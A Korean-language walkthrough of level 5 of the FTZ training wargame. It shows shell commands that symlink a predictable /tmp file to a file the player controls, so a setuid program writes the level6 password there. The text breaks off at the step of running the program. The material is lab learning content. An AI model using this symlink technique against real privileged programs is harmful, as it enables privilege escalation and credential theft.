```
[level5@ftz level5]$ ls
hint  public_html  tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.
```

/usr/bin/level5 프로그램을 이용하여 level5.tmp 파일을 생성하여 패스워드 확인하기

```
[level5@ftz level5]$ ls -l /usr/bin/level5
-rws--x---    1 level6   level5      12236 Sep 10  2011 /usr/bin/level5
[level5@ftz level5]$ /usr/bin/level5
[level5@ftz level5]$ ls
hint  public_html  tmp
[level5@ftz level5]$ cd /tmp
[level5@ftz tmp]$ ls
mysql.sock
```

level5.tmp 파일 없음 → 프로그램이 종류되기 전에 해당 파일 삭제됨 → 삭제되기 전에 파일 가로채기 → 심볼릭 링크 이용

/tmp 폴더에 파일(a)을 하나 만들고 그 파일에 level5.tmp라고 심볼릭 링크를 걸어준다.

/usr/bin이 수행되면서 level5.tmp에 패스워드를 써 level5.tmp가 지워져도 /tmp/a/는 남아있다.

(level5.tmp가 /tmp/a에 연결되어 /tmp/a에 데이터를 쓰게 된다.)

심볼릭 링크 생성

ln -s [원본 파일 또는 디렉토리] [심볼릭 링크 이름]

```
[level5@ftz tmp]$ touch a
[level5@ftz tmp]$ ls
a  mysql.sock
[level5@ftz tmp]$ ln -s a level5.tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt    2 root     root         4096 Aug 21 21:40 .
drwxr-xr-x   20 root     root         4096 Aug 21 21:21 ..
-rw-rw-r--    1 level5   level5          0 Aug 21 21:39 a
lrwxrwxrwx    1 level5   level5          1 Aug 21 21:40 level5.tmp -> a
srwxrwxrwx    1 mysql    mysql           0 Aug 21 21:22 mysql.sock
```

/usr/bin/level5 실행하기